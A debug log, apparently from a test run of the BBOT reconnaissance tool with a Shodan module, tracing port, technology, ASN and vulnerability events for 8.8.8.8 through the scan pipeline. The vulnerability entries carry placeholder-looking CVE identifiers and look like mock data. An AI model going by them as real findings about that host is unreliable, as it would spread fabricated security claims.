'in-scope'}) +2026-03-02 09:15:09,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:15:09,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:15:09,605 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,606 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,606 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,608 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,608 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:15:09,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:15:09,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,609 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,609 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,611 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,611 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,612 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because event was already emitted by its module +2026-03-02 09:15:09,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,613 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:15:09,614 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded +2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,616 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,616 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,616 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,617 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,621 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,621 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,622 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,624 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,624 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:15:09,624 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,625 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,626 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) +2026-03-02 09:15:09,627 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,627 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,627 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,628 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,629 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) +2026-03-02 09:15:09,629 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,691 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,692 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:15:09,692 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,693 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,694 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise +2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check +2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:15:09,699 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,699 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:15:09,699 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:15:09,700 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:15:09,700 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:15:09,700 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:15:09,700 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:15:09,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:15:09,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:15:09,801 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:15:09,802 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:15:09,815 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:15:09,816 [VERBOSE] bbot.core.dnshelper logger.py:151 